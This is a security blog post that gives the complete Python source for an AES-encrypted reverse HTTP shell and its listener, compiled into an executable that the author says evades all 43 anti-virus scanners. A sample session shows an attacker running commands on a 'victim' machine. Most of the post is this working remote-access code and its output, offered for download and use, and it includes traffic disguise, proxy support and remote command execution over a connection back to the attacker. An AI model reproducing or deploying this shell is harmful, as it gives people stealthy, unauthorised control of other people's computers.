Building an HTTP shell with AES + Proxy Support in Python

Got a little bored today and decided to write a reverse HTTP shell in Python thats platform independent and supports AES encryption when passing information back and forth. So this works on Linux, OSX, and Windows. The shell also supports proxy settings as well. This Python shell will initiate a reverse connection out of the network and connect to the attacker machine via pure HTTP communications. It’s pretty straight forward on how it works. I’ve byte compiled the code so you do not need to have Python installed on the victim, it will simply run as a normal executable.

As usual, with anything custom evades every anti-virus out there (0/43):

evading anti-virus

Here’s the shell in action on the victim machine:


C:Documents and SettingsAdministratorDesktop>shell.exe

AES Encrypted Reverse HTTP Shell by:
        Dave Kennedy (ReL1K)
      
Homepage
Usage: shell.exe reverse_ip_address port C:Documents and SettingsAdministratorDesktop>shell.exe 192.168.235.152 80

Here’s what we see on the attacker machine:


root@bt:~/Desktop# python server.py 
############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
#        Dave Kennedy (ReL1K)
#     http://www.trustedsec.com
#
#
############################################
Starting encrypted web shell server, use Ctrl-C to stop

shell> 192.168.235.131 - - [07/Mar/2012 19:47:10] "GET / HTTP/1.1" 200 -
192.168.235.131 - - [07/Mar/2012 19:47:10] "POST /index.aspx HTTP/1.1" 200 -

shell> ipconfig
192.168.235.131 - - [07/Mar/2012 19:47:15] "GET / HTTP/1.1" 200 -
192.168.235.131 - - [07/Mar/2012 19:47:15] "POST /index.aspx HTTP/1.1" 200 -

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.235.131
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.235.2

Ethernet adapter Bluetooth Network Connection:

        Media State . . . . . . . . . . . : Media disconnected

shell> 

As you can see, we have a full shell to the victim, at this point based on the code its trivial to implement upload/download commands and anything else we want from a purely stateful HTTP shell. When the commands are sent from the server, its encrypted leveraging AES and sent to the victim machine, its then decrypted and executed in a shell command. When the response is taken from the command shell option, its then encrypted back up and sent back to the listener. There is never a point in time where communications are sent via an unencrypted manner.

Here’s the source code for the encrypted shell:



#!/usr/bin/python
##########################################################################################################################
#
#
#  AES Encrypted Reverse HTTP Shell by:
#
#         Dave Kennedy (ReL1K)
#      http://www.trustedsec.com
#
##########################################################################################################################
#
##########################################################################################################################
#
# To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules
# to make it easier. Can download from here:
# http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip
#
##########################################################################################################################
#
# This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc.
#
##########################################################################################################################
#
##########################################################################################################################
#
# Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction 
# so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary. 
#
##########################################################################################################################
#
# export VERSIONER_PYTHON_PREFER_32_BIT=yes
# python Configure.py
# python Makespec.py --onefile shell.py
# python Build.py shell/shell.spec                          
#
###########################################################################################################################


import urllib
import urllib2
import httplib
import subprocess
import sys
import base64
import os
from Crypto.Cipher import AES


# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)

# secret key, change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"

# create a cipher object using the random secret
cipher = AES.new(secret)

# TURN THIS ON IF YOU WANT PROXY SUPPORT
PROXY_SUPPORT = "OFF"
# THIS WILL BE THE PROXY URL
PROXY_URL = "http://proxyinfo:80"
# USERNAME FOR THE PROXY
USERNAME = "username"
# PASSWORD FOR THE PROXY
PASSWORD = "password"

# here is where we set all of our proxy settings
if PROXY_SUPPORT == "ON":
	auth_handler = urllib2.HTTPBasicAuthHandler()
	auth_handler.add_password(realm='RESTRICTED ACCESS',
                          	  uri=PROXY_URL, # PROXY SPECIFIED ABOVE
                              user=USERNAME, # USERNAME SPECIFIED ABOVE
                              passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
	opener = urllib2.build_opener(auth_handler)
	urllib2.install_opener(opener) 

try:
	# our reverse listener ip address
	address = sys.argv[1]
	# our reverse listener port address
	port = sys.argv[2]

# except that we didn't pass parameters
except IndexError:
        print " nAES Encrypted Reverse HTTP Shell by:"
        print "        Dave Kennedy (ReL1K)"
        print "      http://www.trustedsec.com"
	print "Usage: shell.exe  "
	sys.exit()

# loop forever
while 1:

	# open up our request handelr
	req = urllib2.Request('http://%s:%s' % (address,port))
	# grab our response which contains what command we want
	message = urllib2.urlopen(req)
	# base64 unencode
	message = base64.b64decode(message.read())
	# decrypt the communications
	message = DecodeAES(cipher, message)
	# quit out if we receive that command
	if message == "quit" or message == "exit":
                sys.exit()
	# issue the shell command we want
	proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	# read out the data of stdout
	data = proc.stdout.read() + proc.stderr.read()
	# encrypt the data
	data = EncodeAES(cipher, data)
	# base64 encode the data
	data = base64.b64encode(data)
	# urlencode the data from stdout
	data = urllib.urlencode({'cmd': '%s'}) % (data)
	# who we want to connect back to with the shell
	h = httplib.HTTPConnection('%s:%s' % (address,port))
	# set our basic headers
	headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
	# actually post the data
	h.request('POST', '/index.aspx', data, headers)

Here’s the code for the listener:



#!/usr/bin/python
############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
#        Dave Kennedy (ReL1K)
#     http://www.trustedsec.com
#
#
############################################
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
import urlparse
import re
import os
import base64
from Crypto.Cipher import AES

# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING

# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)

# 32 character secret key - change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"

# create a cipher object using the random secret
cipher = AES.new(secret)

# url decode for postbacks
def htc(m):
    return chr(int(m.group(1),16))

# url decode
def urldecode(url):
    rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M)
    return rex.sub(htc,url)

class GetHandler(BaseHTTPRequestHandler):

	# handle get request
	def do_GET(self):		

		# this will be our shell command
		message = raw_input("shell> ")
		# send a 200 OK response
        	self.send_response(200)
		# end headers
        	self.end_headers()
		# encrypt the message
		message = EncodeAES(cipher, message)
		# base64 it
		message = base64.b64encode(message)
		# write our command shell param to victim
        	self.wfile.write(message)
		# return out
        	return

	# handle post request
	def do_POST(self):

	        # send a 200 OK response
        	self.send_response(200)
		# # end headers
        	self.end_headers()
		# grab the length of the POST data
                length = int(self.headers.getheader('content-length'))
		# read in the length of the POST data
                qs = self.rfile.read(length)
		# url decode
                url=urldecode(qs)
                # remove the parameter cmd
                url=url.replace("cmd=", "")
		# base64 decode
		message = base64.b64decode(url)
		# decrypt the string
		message = DecodeAES(cipher, message)
		# display the command back decrypted
		print message

if __name__ == '__main__':

	# bind to all interfaces
    	server = HTTPServer(('', 80), GetHandler)
	print """############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
#        Dave Kennedy (ReL1K)
#     http://www.trustedsec.com
#
#
############################################"""
    	print 'Starting encrypted web shell server, use  to stop'
	# simple try block
	try:
		# serve and listen forever
	    	server.serve_forever()
	# handle keyboard interrupts
	except KeyboardInterrupt: 
		print "[!] Exiting the encrypted webserver shell.. hack the gibson."

If you want to download the already compiled shell.exe and all of the source code click here to download.

David Kennedy

Author: David Kennedy

Security expert, keynote speaker, avid gamer and the go-to for protecting companies from threats.